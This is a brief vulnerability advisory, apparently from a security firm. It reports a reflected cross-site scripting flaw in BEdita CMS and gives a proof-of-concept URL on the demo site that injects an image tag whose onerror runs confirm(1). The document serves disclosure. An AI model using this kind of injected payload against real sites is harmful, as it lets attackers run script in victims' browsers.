# Affected software: BEdita CMS
# Type of vulnerability: cross site scripting
# URL: bedita.com
# Discovered by: Provensec
# Website: http://www.provensec.com
# Description: *BEdita* is a web development *framework* that comes with a full
featured CMS out of the box.
# Proof of concept

javascript executes on login page if you not logged in or no session
initiated other wise javascript on respected page only

http://i.imgur.com/1wU6lX7.png




http://manage.demo.bedita.com/documents/index/id:%22%3E%3Cimg%20src=d%20onerror=confirm%281%29;%3E